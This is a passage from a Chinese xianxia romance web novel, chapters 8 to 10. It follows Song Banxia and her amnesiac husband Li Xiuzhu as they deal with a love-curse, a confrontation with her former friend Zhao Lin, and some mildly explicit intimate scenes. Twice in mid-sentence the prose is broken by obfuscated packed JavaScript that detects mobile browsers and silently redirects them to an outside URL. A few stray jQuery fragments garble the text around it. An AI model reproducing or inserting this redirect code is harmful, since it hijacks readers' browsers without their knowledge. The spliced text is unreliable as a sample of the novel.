宋半夏:“事实就是如此,这是李修竹自己跟我说的。我也的的确确中了情劫丝,闻奈仙君也来帮我把过脉,如果你不信,你可以自己去问他。” 叶晃已经要被说服了,余光瞥到旁边的宋向松,又拧眉,道:“就算如此,也定然是你们宋家以势欺人,非要让李师兄娶你!” 宋向松本来就对宋半夏要嫁李修竹一事多有不满,闻言顿时怒了,哐当拍了下桌子,吼道:“你放屁!” “爹!” 在他还没来得及说出更让人生气的话时,宋半夏喊住了他。 宋半夏生怕自己的婚礼砸了,冷着脸对叶晃道:“我爹素来疼爱我,就算我是凡人资质也从没有对我有一丝一毫的不好,反而更加爱护。就算他与李剑君再不对付,也绝不会想把我掺和进去!而且,李剑君早已不是当年的李剑君,我们宋家是有些名望,可强迫李剑君娶我,若李剑君他不愿意,也是定然没办法的。” “何况叶道友,我与沈家少主沈广陵从小定有婚约,如果不是因为情劫丝,又何必去纠缠李剑君?” 这样一番不留情面的话,终于将叶晃劝走了。 至于后来,叶晃跟李修竹不知怎么却闹翻了,宋半夏询问,二人只说是秉性不合。 几十年同穿一条裤子的兄弟,突然就跟对方处不来了,也是奇怪。 宋半夏还挺为他们感到惋惜的。 她在中间写了封信试图解一解二人的间隙,但无果,倒是叶晃现在偶尔还会给宋半夏寄信。 宋半夏觉得他们两个对彼此还是在乎的,只是不知道到底在互相犟个什么劲。 总之,大家都觉得,李修竹是个绝不会被感情束缚的人,也一定会在百年间飞升上界。 谁知道,凭空出了一颗情劫丝,凭空出了一名宋半夏。 宋半夏边哭边哽咽道:“你……你是不是不喜欢我啊,你是不是……是不是讨厌死我了。我还害你修为倒退了那么多……” 她的泪一滴一滴滴进李修竹的脖颈,滚烫地像是熔岩,把他那颗本就已经不再固若金汤的心砸的粉碎。 李修竹哑声道:“怎么会。” 他说:“如果我不喜欢你,还娶了你,耽误你百年时光,那我岂不成人渣了?何况我大乘修为,分你一半又能怎样,他们照样都打不过我。咱们……咱们自己安安稳稳的才是最重要的。” 8. 第八章 宋半夏趴在他肩膀,抽抽搭搭问:“真的?” 李修竹:“嗯。” 他心想,完了师父,他这次可能真的栽了。而且同一个坑可能还要栽两次。 怎么有人能这么合他心意,怎么有人能这么可怜可爱呢? 他看着她开心,自己心里也开心,他看着她不快乐,自己心里也好像坠了石头。 她像是天生要属于他的。 宋半夏哭了太久,情绪起伏严重,精力用尽,恹恹地擦擦眼泪,哑着嗓子对李修竹断断续续的说:“那,那睡觉吧。” 李修竹‘哎’了一声。 宋半夏先躺了回去,扯了扯他白色衣角,李修竹便顺着躺到了枕头上、她的旁边。 他有一双寒星般的眸子,于夜色中黑漆漆的望着她。 宋半夏将头依偎过去,睡着前轻声道:“剑君才不是人渣,就算不喜欢我也不是。” 一句话让已经毫无困意的李修竹心脏颤了颤。 他的下颌抵在她的脑袋上,嗅着那菡萏花香,软玉在怀,不敢多动弹,挨了大半宿,逐渐睡了过去。 院门外面,白琪在院墙上菱形的观景窗前动了动,抖落了一肩的雪,提着灯笼和剑离开了。 宋半夏早上醒来,先是有些懵,一骨碌从温暖的被子中坐起来,腰间的手滑落,她转头看去,嗓子还有些哑,鼻腔有些涩涩地。 李修竹还在阖着眼睛沉沉睡着。 他那张俊秀深邃的脸,睫毛粗而长,鼻子高高的,唇有些薄,睡着的时候,没了摄人心魄的眼睛,奇异地显出三分乖觉。 宋半夏伸出一根手指,用指腹戳了戳他的面颊,柔软的皮肤就在她的按压下凹进去一个小坑,抬起手之后又很快消失。 这番折腾后。 人,还在沉沉地睡。 宋半夏在躺回去和起床之间迟疑了一瞬。 李修竹就在这时醒了,睁开了眼,里面朦胧的水雾眨眼消失,怔了一下,侧侧身子,噙着笑看她。 她伸出手,纤细的手摸在他的脸上,一副被他迷住可以为所欲为的弱气样子,看的人蠢蠢欲动:“你长得好漂亮啊剑君。” 李修竹在心底轻吸了一口气。 宋半夏弯弯的眸子看着他,就弯的更好看了。 李修竹再度吸了口气。 他伸出手,胳膊用力把人压倒,头凑过去,压在她的脑袋上,说:“睡觉。” 宋半夏:“该起床了。” 李修竹:“有事?” 宋半夏:“要和白琪研究下一周九州报上的美食。” 李修竹闭着眼,哑声道:“不急。” 宋半夏在被子里摸了摸,摸到一个地方,李修竹腾地就睁开了眼,险些没从床上跌下去。 她翻了个身,把他压住了,趴在他的胸前看他的一张俊秀的脸从头红到了脖颈,那双带着压迫感的眸子紧盯着她。 二人对视半晌,李修竹说:“下去。” 宋半夏才不怕他,大胆开口:“今天要不要把情劫丝解了?” 在这样的状况下,这完全就是一个调情邀请。 李修竹滞了滞,半晌,那张通红的脸,添了一抹复杂,闭了闭眼,再睁开有三分怒:“你就这么想离开我?” 宋半夏觉得奇怪,说:“我才不会离开剑君。” 李修竹自知失言,抿了抿唇。 宋半夏觉得她跟李修竹的交流方式,有点像是回到了一百年前。 别别扭扭,藏着诸多心事。 一番对视,两厢沉默。 “你真的没有事情瞒着我吗?”宋半夏问。 瞒着她的事情多了,李修竹一时不知道她问的究竟是哪个,只能说:“我能瞒你什么。” 宋半夏心下狐疑,试探地问:“那你还记得你答应我,我生日的时候要给我买什么吗?” 李修竹:“记得。” 只说了两个字,不再说,面上逐渐变红。 宋半夏的手并不老实,已经探进了他的衣服,动作着。 李修竹欲曲起一根腿,却被她将腿挤进双腿中,被子下面二人交缠着,将本就暖热的温度变得滚烫。 他紧闭了眼,轻轻吸气,放弃抵抗。 手将她揽在了怀中,头侧了侧抵在她单薄的肩上。 宋半夏还在问:“记得?那你说,我让你给我买什么了?” 李修竹死鸭子嘴硬,当做没听见。 宋半夏根本没说过让他买什么生日礼物,往年生辰,李修竹通常会提前好久准备她喜欢的东西。 李修竹的记忆力很好,而且她说过的话,他都会记得清清楚楚。 这其中一定出了什么问题。 但他为什么不说? 宋半夏搞不清楚,心中的担忧和生气混杂,没了心情,要起身,被他死死摁在怀里。 李修竹有些发颤,喘息声溢出,很好听。 宋半夏顿了顿,没走。 “剑君?” “……嗯……” 片刻,她在他衣服上擦了擦手,从被子里起床。 低头凑到他耳边说:“你骗人,我根本没让你买礼物。” 李修竹眉毛颤了下,知道自己失忆的事可能瞒不住了,还没等空白的大脑琢磨出什么话,宋半夏就已经抬腿离开。 他抬手要拦,差了一步,没拦住,于是将手收回,用胳膊遮住自己的眼睛,里衣口子开着,露出里面起伏的胸腔,他平复着呼吸,听到她吩咐木偶傀儡送水。 宋半夏站在在门口,一边穿着自己的外衣,一边道:“李剑君要沐浴。” 傀儡磕磕绊绊提醒:“昨夜剑君已经沐浴过了。” 宋半夏:“我知道,他要重新沐浴。” 傀儡晃晃脑袋,听从命令:“是。” 李修竹觉得,这傀儡木偶还是做的太聪明了些,话多。 吩咐完之后,宋半夏转身朝里说:“剑君,我等你给我个解释。” “……” 李修竹还没从这猝不及防的失身中缓过来,对她的语气竟感到有些莫名委屈。 夫纲不振该怎么办? 宋半夏照例丢下李修竹去吃了早餐,研究了一下菜谱,顺带回了信。 那封疯狂的信,仍旧满篇都是要带她离开囚牢的言论。 她准备丢掉的时候,却发现第二页纸上干干净净,只写着一行字——我知道李修竹的秘密。 宋半夏被李修竹三个字惊动了麻木的神经,眉毛立刻蹙了起来,更何况这两天李修竹确实不对劲。 秘密? 什么秘密? 宋半夏看了这张单独的信片刻,起身要扔进火盆,最后一刻,却放弃了,丢进了自己的芥子空间。 没烧的原因是害怕李修竹的秘密,会把他自己坑了。 但她没有像别人打听她丈夫秘密的意愿,何况这个人一看就疯疯癫癫。 如果可以,宋半夏希望听到李修竹自己对她说明一切。 李修竹起床时,宋半夏已经和白琪出门去买维修厨房用的材料了。 因为这次要买的东西镇上没有,所以二人去了较远的地方去买。 城中,人来人往,宋半夏和老板谈好了价格,准备付钱走人。 身后传来声音:“半夏?” 宋半夏转头,看到来人怔了一下。 对面的女子穿着金丝裙,一张艳丽的脸,见人三分笑,前呼后拥中,她急急忙忙朝她走来。 “宋半夏?” “真的是宋半夏!” “她怎么在这里。” “沈凌,那真是宋半夏?她原本是不是要做你嫂嫂的?” 被称为沈凌的女子没有向前,目光清清冷冷,站在原地。 宋半夏把目光从沈凌身上收回,落到穿金丝裙的女子身上,心想,运气不好,怎么遇上这群人了。 她张口道:“赵琳,是你啊。” 赵琳跑到她面前,惊喜道:“你能出来了?!你情劫丝是解了吗?” 宋半夏往后退了一步:“还没。” 赵琳愣了下问:“那李修竹怎么肯把你放出来了?” 宋半夏一听就知道了,这是受谣言所害的人之一。 修真界盛传她被李修竹囚禁,不知怎么地,这些年竟然越传越烈了,真是让人哭笑不得。 宋半夏躲开她来抓自己的手说:“什么叫李修竹肯把我放出来了,剑君从来就没困过我。” 赵琳颦了下眉,觉得宋半夏在嘴硬。 李修竹那个人跟宋家有仇,他又素来是个有仇报仇,有怨报怨的,娶了仇人的女儿,怎么可能会好好对待。 当年宋半夏说觉得自己可以用爱来感化他,她就觉得不靠谱。 结了婚之后,宋半夏被囚禁的言论果真传了出来。 赵琳咬牙问:“他是不是对你不好?” “……”宋半夏说,“他对我好不好,又关你什么事?” 赵琳激动道:“我们曾经是最好的朋友啊!” 宋半夏沉默良久,神色也落了下去,说:“你也说了,那是过去。” 赵琳闻言也静了下来,眼眶红了红,说:“半夏,你是不是还是在生我的气。” 宋半夏回忆当年的事情,只觉得一阵恶心,她再度往后推了推,但看她这般可怜模样,又因曾经情意,有了三分不忍,她说:“我是很生你的气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412244|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 赵琳:“当年事情,也并非是我的意愿。” 宋半夏:“可你家族给沈广陵下药,你为何不告诉我,这让我觉得你与我的情意,其实寥寥,比不得你的家族想攀附沈家的野心。” 赵琳蹙了眉毛,解释:“不是这样的。我……我是想同你说的,可是我娘……我娘她说没必要。” 她的没必要一出口,宋半夏的那点犹豫也释怀了。 赵琳:“沈广陵是沈家少主,未来要继承沈家的,而且他向来花心,绝不可能只娶一个人,就算他答应过你,可他不是还在拈花惹草吗?以你我情意,你我共同加入沈家,难道我会与你作对吗?我只可能会帮你一起看住他啊!只是没想到,你误食了情劫丝……” 宋半夏对她彻底失望了,她不知道自己要好的朋友,怎么突然有一天变成这样了,或许是本来就是这样,但她向来迁就她,所以没在她面前表现过她这种思想。 她说:“这就是你我决裂的理由,或许跟沈广陵有些关系,但最大的原因是你我所思所想已经截然不同了。赵琳,你和你的家族捆绑的太深了,你受你母亲的影响也太深了,你总说我恋爱脑,可是你呢,你又是什么脑?但不管你是什么脑,你的行为都已经令我不适,我跟你已经回不到当年了。” 赵琳握了握拳头,看着她道:“宋半夏,你……你怎么总是如此小孩心性?” 宋半夏不敢置信道:“你说谁小孩心性?!” 她最讨厌别人这样说她了! 赵琳说:“你总是喜欢的事情就做,不喜欢的就不做。可是你我所拥有的一切,难道不都是来自家族吗?难道只索取而不付出,对于你来说就是正确的吗?” 她闭了闭眼,绷紧身体,深深叹了口气。 “我知道,他们有时候做的的确是过分了些,可是我们难道就没有做的过分的时候吗?宋半夏,你被你的家族保护的太好了,倘若有一天你的家族做了件不合你心意的事,难道你就能立刻与他们撇清关系吗?我觉得做人不能如此自私。” 宋半夏看她的目光有些复杂,三分怜悯,三分厌恶,还有三分的恨其不争,她说:“赵琳,总有一天你会明白,有的时候,人只有自私一些,那些你所在乎的人的命运才会变得更好。去因为那些压在你身上的期待,就做出一些死要面子活受罪的事情,才会使一切都变得糟糕。” 赵琳颦眉看着她,最终放弃说服她,她说:“宋半夏,如今已经百年了,你的情劫丝还没有被解开,即便你自欺欺人,也没办法再说自己与李修竹过得很好了吧?” 宋半夏叹了口气说:“我们还真的过得还好。” 赵琳:“情劫丝的丹毒,会随着爱意越变越深,即便再不解开,你会有性命之忧,你也要这样说吗?” 宋半夏:“我们正在解了。” 赵琳并不相信:“沈家和宋家,还有我们赵家,三家加起来,总能让李修竹忌惮的,倘若你需要的话,我可以帮你传信,把你救出来。至于剩下的情劫丝,我们可以让沈广陵帮你解开。” “?”宋半夏后退了一大步,并抬了抬自己的手,做了一个防护性的动作,她有些崩溃,“我真的真的不想加入你跟沈广陵的play中,放过我吧,我的思想在还没出生的前世就已经固定了,接受不了你们这么开放的思想!” 赵琳张了张嘴,又闭上了,她说:“那我们总能找到其他逍遥道的修士的,你又何必非要跟李修竹纠缠?强扭的瓜不甜,也没法解渴!” 宋半夏:“反正我现在说什么你都不信,等我情劫丝解开咱们再说吧。” 赵琳:“好,那到时候,我和沈广陵一起去接你。” 完全没有必要! 一声冰冷的男子声音在不远处响起:“这位,赵家的姑娘,你打算把本尊的妻子带去什么地方?” 宋半夏回眸,看到了寻来的李修竹。 赵琳刚一跟李修竹对视,就感到了无边的杀意,僵了脊背,冷汗也瞬间落了下来。 好强的气势。 她和他之间,完全没有任何几率可以胜过他。不是说李修竹已经掉落了一个大境界吗? 李修竹目光冷冷,心里的怒火忍不住地直往上窜,落到看着他的宋半夏身上,竟立即生了三分怨。 早上丢下他就跑了,感情是来这里商量怎么离开他了是吗? 这与他梦里的情形不谋而合,让他忍不住心中慌乱。 宋半夏:“剑君!” 李修竹冷声道:“过来。” 宋半夏眨了眨眼,觉得他好像有点生气,但他一向对于别人试图把她带走这件事很烦躁,所以她并没有太过奇怪,三两步跑到了李修竹身边,牵住了他的衣角。 9. 第九章 李修竹对于宋半夏的行为感到有些许安慰,但心中的怒火仍甚。 他用目光将眼前的一群修仙之人打量,嘴角擒起一抹冷笑,道:“如果赵家和沈家学不会怎么教育女儿,那么本尊不介意帮帮他们。” 在场的人都知道,李修竹绝对能做出这样的事情。 寂静和畏惧的气息蔓延,没有一人敢开口说话,就连赵琳和沈凌也不例外。 李修竹对这群只会背地里耍阴招的世家德行很看不起,失去了生气的欲望。 想拂袖走人,顿了顿,想起来自己现在娶了媳妇了,扭头看了看宋半夏。 宋半夏在睁着一双笑盈盈的眼睛在看他。 万般怒火,撞进这样的一双眼睛里,也消散了。 李修竹继续垂眼,看到了她牵在自己衣服上的手,犹豫了一下。 要不要,牵过来呢? 宋半夏觉得生气的剑君,也特别惹人爱。 虽然她还在气他这次回来脾性变得古里古怪,礼物也没有好好准备——昨天那礼物一看就是随便从他芥子中扒拉出来的,还隐瞒她事情…… 但是看到他的一张帅气的脸,她就不生气了。 好吧,还是有一点生气的。 “回家吗,剑君?” 听了这话,李修竹板着脸冷哼了一声,低头把她的手从自己衣服上拿下,握到了手里,一言不发,率先转身,随便召出了一把剑,御剑离开。 白琪见状,回身嘱托了卖东西的老板将东西要送到什么地方,走入了街道人群中。 她还有事情要办。 人堆里有人望着李修竹离去的背影道:“那就是逍遥剑吗?” 宋半夏听到,低头看了一眼脚下金闪闪的剑,心想,这才不是逍遥剑。 逍遥剑有自己灵智的神奇佩剑,通常状态下,逍遥剑自己到处晃悠的时候,李修竹都是随便拿过一把别的剑用。 身后揽着她腰的人无声无息,甚是冷漠。 宋半夏仰头看了一眼他,撅了撅嘴。 “我都还没生气,剑君你什么气。” 李修竹本来不生气了,听她这么一说,就又感到一股无名之火在心里灼烧。 “你觉得本尊为什么生气?” 她都要跟着别人跑了,还不允许他生气了?! 原来,李修竹到的晚,只听到了宋半夏和赵琳的后半句话。 他揽着她腰的手不自觉收紧。 宋半夏:“你又不说,我怎么知道你为什么生气。” 李修竹冷着脸,低头瞪着她后脑勺。 宋半夏还在继续说:“早上说好了,现在剑君是不是该给我个解释?” 李修竹还在瞪,闻言,酸酸地说:“还用的着吗?” 宋半夏颦了下眉,问:“为什么会用不着,当然用的着。我们宋家的规矩,就算过年杀猪,还要告诉猪为什么要杀它呢。” 宋家有没有这规矩李修竹不知道,但是他觉得很对。 就算过年杀猪,也得告诉猪为什么要杀他吧。 李修竹沉默片刻,用平静的语气吐出来了个炸弹,他说:“我失忆了。” 宋半夏:“?” 她觉得自己耳朵可能是幻听了,不然怎么听到堂堂逍遥剑主说自己失忆了呢? 这倒像他以往开的玩笑话一样。 宋半夏:“刚刚失的忆吗?” “……”李修竹觉得宋半夏理解能力有点问题,“四天前我在沙滩旁边醒了过来,只记得自己和闻奈他们在南海诛妖,当时只察觉自己修为下落许多,并没有发觉什么不对劲,问了周围渔民才知道,自己所在的位置是北海,而非南海,并且距离我去南海除妖已经过去一百多年了。也就是说,我足足丢了一百年的记忆。我找到闻奈,发觉,果真如此。” 宋半夏听完,怔愣片刻,猛然回身扭头看他,看到他如常面容,方才松了一口气,不敢置信地问:“那你,你不记得我了吗?” 一百多年前,他去南海除妖的时候,他们还不认识,那时候宋半夏才十八岁,还没有放弃靠自己修炼的想法。 李修竹听见她惊诧的声音,沉默良久,嗯了一声。 宋半夏心中复杂,话再在嘴里绕了半晌,问:“那你身体没有其他问题吧?为什么会失忆?” 李修竹说:“除了……下落的修为,没什么问题。闻奈去寻原因了,说可能跟几天前的一场拍卖会有关,已经找到了人了,我打算过几天就去北海那边的宗门看看,找人算一下账。” 宋半夏点点头:“那人厉害吗?” 李修竹:“不如我厉害。” “别说大话了,剑君!”宋半夏有些着急,“你都失忆了,说明那人确实能算计到你。” 李修竹吃过的绊子多了,但每一次都能重新爬起来,并给那些给他使绊子的人一巴掌。 因此并不觉得有什么没法解决的麻烦。 他更担心的,仍是情劫丝的问题。 这个问题本不是问题,可如今,却好像真的一如这丹药的传言一样,将他缠住了。 飞剑载着他们回到了镇上。 落到了家门口,宋半夏下意识要去揽他的胳膊,揽上了,意识到什么,松了松手,抬头看了看他。 她问:“剑君一点也不记得我了吗?” 李修竹点了点头:“这一百年里新认识的人,我都不认识了。” 一百年,新认识,这两个词组合起来还真是陌生啊。 宋半夏仰着头,有些发痴,重复说:“可是我跟剑君在一起一百年了啊。” 怎么能算是不识得、不认识? 李修竹觉得她这模样,有些可怜巴巴的,像是恋家的猫儿,顿了顿,伸手摸了摸她的鬓角。 宋半夏一点也不知羞,把脑袋歪了歪,脸贴着他略带薄茧的手,下弯唇,委屈极了。 她都喜欢他一百年了,这么多岁月,才让两个人关系变得密切了,他怎么能说失忆就失忆啊。 怪不得……怪不得他要说那样的话。 所以,他果真是想把她一脚踢开了是吗? 宋半夏心中有些慌乱且不知所措。 抚摸她的手若即若离,好像下一刻就会离她远去,他的眼睛澄澈理智,没有了以往的阴霾,却也没了那些独属于她的情绪。 她仰头问:“剑君失忆了,为什么还是回来了?” 李修竹顿了顿,低头,说:“什么意思,不希望我回来?” 宋半夏怎么可能不希望他回来,从见到他的那一刻,她高兴的眼睛都一直弯着。 她扭过头去,说话酸酸的:“只是觉得奇怪,剑君一百年前根本不认识,失去了记忆怎么想到要回来见我?” 李修竹和她的手一直牵着,半松不松,像二人起起伏伏的心一直摇晃。 ——他随着她在摇晃。 李修竹:“闻奈说,我娶了个漂亮的媳妇,所以我就回来了。” 其实不是,原本他是想回来解决这一段又情劫丝引发的孽缘的。 可是,如今看来,反倒是他深陷其中了。 宋半夏听了松开了他的手,转过身去,面对着他走路,一双明亮漂亮的眼睛看着他,仰仰下巴说:“那剑君现在见到了,要怎么评价我?” 李修竹沉思了一瞬,从她巴掌大的脸上,落到了她绯色的唇,慢悠悠地说:“怎么评价……嗯,脾气看起来不太好的样子。” 宋半夏瞪了眼睛:“谁脾气不好!” 李修竹:“早上我拦你,你怎么直接就跑了,还威胁我?” 宋半夏呐呐无言:“那不是……那不是……” 谁知道他失忆了。 她气虚地嘴硬:“谁叫你不说自己失忆了,谁知道……谁知道……你打的什么主意!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432881|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实宋半夏心里是有推测的,但那推测问出口就好像成了质问。 ‘你要解决掉我吗?’ ‘你要抛弃我了吗?’ 她不去询问,自然也就不会得到任何好的或坏的解释,这仿佛成了两个人之间的默契。 李修竹看了她半晌,突然朝她伸出了手。 宋半夏顿了顿,把自己的手放了上去,那只牵着她的手微微一用力就把她往前拽了过去,她跌到他的怀中,被他紧紧抱住,他的怀抱温凉。 李修竹抱的太过用力,宋半夏忍不住在他怀里闷声道:“疼。” 娇气。 李修竹松了松胳膊,但仍没放开她。 百年前,为了一顿饱饭而入了宗门的他,绞尽脑汁恐怕也想不到,一百年后,自己会娶这么一个娇气的世家大小姐。 甚至为此不惜用自己九死一生得到的修为和法宝,来供养她。 任凭她踩着自己的脑袋撒泼。 宋半夏拽住了李修竹垂下的发尾,不死心地问:“剑君,真的一点不记得我了吗?” 李修竹哑着嗓子应了一声:“嗯。” 宋半夏:“那要不要回宗门去问问医峰上的人?” 李修竹:“连闻奈都没有办法,他们也找不到的。” 宋半夏:“那回我家。” 李修竹顿了顿说:“不用,等我找到那个妖修,自然就知道了怎么恢复记忆了。” 晚饭时,宋半夏的情绪一直不高。 李修竹失忆的事情暂时不适合告知他人,因为他说要去算账,怕打草惊蛇。 她观察着李修竹的一举一动,发现李修竹确实和以往大不相同。 比如不会再主动地挑起话题,不会永远离她很近,不会温和地对她嘘寒问暖,甚至也不会主动亲近她了。 夜里,宋半夏照例拆着头花。 李修竹端着一本书,坐立难安,总觉得自己屁股下面好像生了根针,让他难以平静坐着。 对于他失忆的事,宋半夏并没有对此纠结太久。 以至于李修竹对此没有实感。 但其实仔细想一想,明明他失去了关于她的全部记忆,却仍堂而皇之地继续当她的夫君,仿佛想要伪装成一切没有发生的样子。 这似乎并不符合常理。 李修竹有那么一刻,觉得自己像是小偷,见色起意,冒名顶替了名为宋半夏夫君的人,偷走了本不属于他的东西。 她会怎样看待他。 会觉得他古怪,会发现他对她起了歹意吗? 他为此心虚与不安。 李修竹不太希望自己在她眼中的形象是这样不堪的,尽管他开始发现,面对她的时候,自己好像的确是一个见色起意的不堪之人。 他不断安慰自己,这都是因为情劫丝。 因为情劫丝,所以她现在极端爱慕自己,所以自己不想使她伤心,所以…… 等到宋半夏终于将头花拆了下来,走到了李修竹面前,李修竹手心中已经出了密密的汗。 他不敢看她,又不敢不看她,若无其事放下手中的书,抬头静默了一瞬。 下一秒,他和她的声音同时响起。 李修竹:“我去其他厢房睡。” 宋半夏:“你睡里面……” 宋半夏的话骤然停顿了下,瞪着一双漂亮的眼睛,磕磕巴巴说出后半句:“我半夜……习惯起夜。” 她的话消失,房间一时陷入极为尴尬的寂静中。 宋半夏感到喉咙里泛上了苦涩的味道,她努力使自己的心态平和一点,不要吧嗒吧嗒地掉眼泪。 “那……” 她张了张嘴,话没说完,看到李修竹靴子一脱,书一收,滚进了床榻里面。 宋半夏的悲伤暂时停了停,逐渐变红的眼眶也不红了。 他这是……不去厢房睡了? 10. 第十章 宋半夏磨磨蹭蹭上了床。 躺在床上,被子里有些进风,因为二人之间有一条缝隙。 她迟疑了一瞬,往李修竹的方向挪了挪。 李修竹一言不发,好像睡着了,像是个一动不动的大石头。 宋半夏不敢去看他睡没睡着,躺在被子里半睁着眼,思考二人的未来。 李修竹要解开情劫丝的目的其实很明确了,只是她不想去承认,也不愿去思考。 她跟李修竹本来就是因为情劫丝串在一起的两个人。 本来就没什么情意。 如今李修竹更是失去了百年的记忆,一点也不记得她了,而她的情劫丝也解到了最后,所以他想解开情劫丝,斩断二人之间的关系,也是很正常的。 这也是他不曾告诉她自己失忆的原因之一吧。 宋半夏一点睡意也没有,半睁的眼睛里具是难过和悲伤。 她已经没有重头再来的机会和勇气了。 一百年的时光,太长太长。 而且,即便李修竹不失忆,其实宋半夏也是没有百分百的信心,可以大声的说出他早就爱上了她。 患得患失,不知道是她的疾病,还是爱情的通症。 如果是爱情的通证,那么他为什么一直看起来那么游刃有余。 是因为不曾像她爱他一样爱她吗? 宋半夏深深地呼出一口心间淤堵的气。 李修竹忽然动了动身子,宋半夏呛了一声,被子摩擦的声音在寂静的夜里被放大,到了耳朵里,跳动人的神经。 他由平躺改为了侧身,比她要稍微热一点的体温朝她倾覆过来。 宋半夏心脏忍不住乱跳,屏气凝神,肢体僵硬。 是要借住昏暗的夜然后将她体内最后的丹毒解决掉吗? 时间一点一滴地过去,他没动,她也没动。 李修竹低头看去。 宋半夏敏锐地觉察到,闭紧了眼睛,长长的睫毛轻颤着,像是蝴蝶的翅膀。 透过暗夜外洒进来的月光,李修竹看到了她红透的面颊,让人心弦微颤。 他深吸了一口气,慢慢把手探过去,轻轻放到了她的腰上。 她的腰很细,柔软极了,和他完全是两个极端,好像轻轻一碰就会化掉。 李修竹觉得身上的热气直往他脑袋上窜。 他不禁胡思乱想。 从前二人是怎样相处的? 一个情劫丝解了百年,说明他们夫妻生活肯定并不频繁,可是她对于床上的事,似乎格外地大胆和主动。 像今天白天…… 李修竹忍不住咬紧了牙关,调用体内灵气循环着。 暖热的被子里,暧昧的状态下,总能勾起人不该有的冲动。 至少,这冲动不该现在被她发现。 因为似乎在他失忆的状态下,会显得十分的不合时宜且冒昧。他不想自己在她心中留下什么轻佻浪荡的形象。 李修竹维持着僵硬的姿势,说:“被子有点窄,离得远了会进风,天冷了,明日叫白琪再给你加床被子吧。” 宋半夏微红的脸白了白,不知他什么意思,只应下说:“嗯。” 她的嗓子有些哑。 但李修竹的嗓子也是低哑的,所以他完全没有察觉什么不对。 心里还想,她果真是有点伤风了。 他趁机将她往自己怀里拢了拢,似乎因为担忧她伤风而这么做是很名正言顺的事情,毕竟他也是被迫的,谁让这被子这么窄,而她又身体不好呢? 李修竹:“明天给你熬点治伤风的药。” 宋半夏这下有意见了:“我讨厌喝药。” 李修竹对于她的喜好和厌恶很感兴趣,噢了一声,问:“还讨厌什么?” 宋半夏想了想说:“讨厌修炼。” 李修竹啧了一声,说:“这不行,你得学着将修为与功法融会贯通。” 宋半夏:“你怎么知道我没有融会贯通,你小瞧人。” 李修竹有些失笑,想到刚见面时他们在屋顶上一起躲逍遥剑的时候。而且她明显是个十分抗拒修炼的德行,这让他实在没办法相信她能将元婴修为和功法融会贯通。 宋半夏也没有多解释,她躺在他怀里,微微侧头就是他宽阔的胸膛。 起伏的胸膛里,似乎还能听见心跳的声音。 但心跳声跳的又很乱,所以大抵是听错了,或者其实是她的心跳声。 宋半夏在被子里踢了踢脚,转过身,去揽他的腰。 他身躯明显僵了僵。 当她将脸贴到了他的胸膛上时,心跳声更剧烈了。 宋半夏沉默了半晌,学着以往的样子,将头埋进了的胸膛。 他退了退,没退开,毕竟他身后是墙,已经没办法再退。 宋半夏感觉嗓子很疼,眼眶也酸。 以往的时候,他都会亲吻她的秀发,然后轻声细语地跟她讲着外面发生的有趣的事。 而如今,他的第一反应是远离她。 人的第一反应总做不得假吧。 他是真的不喜欢她。 也对,如今的她对于他来说,是个贴上来的陌生人。 曾经宋半夏也想过,如果中了情劫丝的人不是她,而是别的姑娘,他会不会也会为了责任而娶其他人。 想来应该是会的。 但她当时觉得,既然中了情劫丝的人是她而不是别人,那他们这就是天定的缘分! 天意如此。 可她忘了,世上其实还有一句话,叫做有缘无分。 这是否也是天意使然呢? 她该顺从天意吗? 宋半夏见过困于情中而迟迟不能解脱的人,最终无一例外害人害己。 李修竹被她紧紧抱着,知道自己无法抑制的身体反应定然叫她全部知晓了,他耳后通红,她却一言不发。 李修竹觉得自己像是等待判决的囚徒,失去了对自己命运的掌控。 过了半晌,他伸手摸了摸她的发,哑声道:“别怕。” 宋半夏悲伤着,只觉得心死如灰,闻言问:“别怕……什么?” 李修竹:“别怕我。” 这种话对他来说有些羞耻,像是在祈求着她的怜悯一样。 别怕他,别把他想的太坏。 他只是…… 只是实在没办法。 一遇上她,他就失去了对自己的掌控。 但是她不需要怕他,因为那勒紧他脖颈的绳索牵在她的手中。 宋半夏一怔。 李修竹作为鼎鼎有名的大乘尊者,自然不可能以和蔼著称,一剑斩魔龙,三日灭邪宗,甚至还杀过不少的世家子弟,可谓是声名显赫。 但宋半夏却很奇怪的并不怕他。 大抵是小时候他可靠又温和的印象太深,所以才导致了这个情况。 宋半夏说:“我不怕剑君,以前不怕,现在也不怕。” 李修竹顿了顿,再度摸了摸她的脑袋。 宋半夏抓着他后脊衣裳的手忍不住紧了紧。 不论是上辈子还是这辈子,宋半夏都是要风得风要雨得雨的性子。 虽然上辈子她只活到了十三岁就病逝而亡,但因为父母疼爱,所以想要得到的,从来都被她抓在手心里,不曾因为被迫放弃过。 而这辈子,她身体康健,但是却没什么修仙天赋,可尽管如此,她还是得到了家人全部的关心和爱。 早她几年的同胞兄长,从小就让着她,就算娶妻,也绝不娶她讨厌的人,并放话说在宋家,凡是他有的,自己妹妹也必须有。 父亲宋向松虽然脑子不是很好,但也是绝对的爱屋及乌,那个她出嫁前想要的灵矿所有权,没过几天还是陪送了过来。 至于母亲,更因为宋半夏修行艰难而偏爱于她。 宋半夏想要的东西,即便是天上的月亮,也能握在手中,不给他人。 可如今她终于遇到了此生唯一一个绝不想放手,却没办法攥在手心的东西。 